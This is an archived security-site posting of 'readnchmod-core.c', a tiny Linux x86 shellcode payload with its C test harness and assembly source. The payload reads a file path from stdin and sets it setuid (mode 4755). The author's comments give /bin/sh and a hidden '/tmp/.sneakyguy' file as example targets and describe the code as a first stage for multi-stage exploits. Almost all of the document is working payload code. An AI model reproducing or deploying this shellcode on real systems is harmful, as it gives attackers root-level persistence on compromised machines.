what you don't know can hurt you

readnchmod-core.c

readnchmod-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

read and chmod shellcode for Linux x86. readnchmod-core.s is appended.

tags | x86, shellcode
systems | linux
MD5 | c0ee4628c5700330948b0ddb4d695a74

readnchmod-core.c

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/* readnchmod-core.c by Charles Stevenson <core@bokeoa.com> 
*
* Example of strace output if you pass in "/bin/sh\x00"
* read(0, "/bin/sh\0", 2541) = 8
* chmod("/bin/sh", 04755) = 0
*
* Any file path can be given. For example: /tmp/.sneakyguy
* The only caveat is that the string must be NULL terminated.
* This shouldn't be a problem. For multi-stage payloads send
* in this first and then you can send it data with null bytes.
* I made this for rare cases with tight space contraints and
* where read() jmp *%esp is not practical.
*
*/
char hellcode[] = /* read(0,buf,2541); chmod(buf,4755); linux/x86 by core */
"\x31\xdb"// xor %ebx,%ebx
"\xf7\xe3"// mul %ebx
"\x53"// push %ebx
"\xb6\x09"// mov $0x9,%dh
"\xb2\xed"// mov $0xed,%dl
"\x89\xe1"// mov %esp,%ecx
"\xb0\x03"// mov $0x3,%al
"\xcd\x80"// int $0x80
"\x89\xd1"// mov %edx,%ecx
"\x89\xe3"// mov %esp,%ebx
"\xb0\x0f"// mov $0xf,%al
"\xcd\x80"// int $0x80
;

int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte read(0,buf,2541); chmod(buf,4755); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}

#;21 bytes read from stdin and chmod 4755
#;by Charles Stevenson <core@bokeoa.com>
#;read(0, ./ABCDEFGH"./ABCDEFGH", 2541)
#;chmod("./ABCDEFGH", 04755)
.globl main
main:
xor %ebx,%ebx
mul %ebx
push %ebx # NULL terminate and stdin
movb $0x9,%dh # 2541 count for read
movb $0xed,%dl # and 4755 chmod mode
mov %esp,%ecx # char *
movb $0x3,%al # read(0,esp,2541)
int $0x80
mov %edx,%ecx
mov %esp,%ebx # char *
movb $0xf,%al # chmod(esp,4755)
int $0x80

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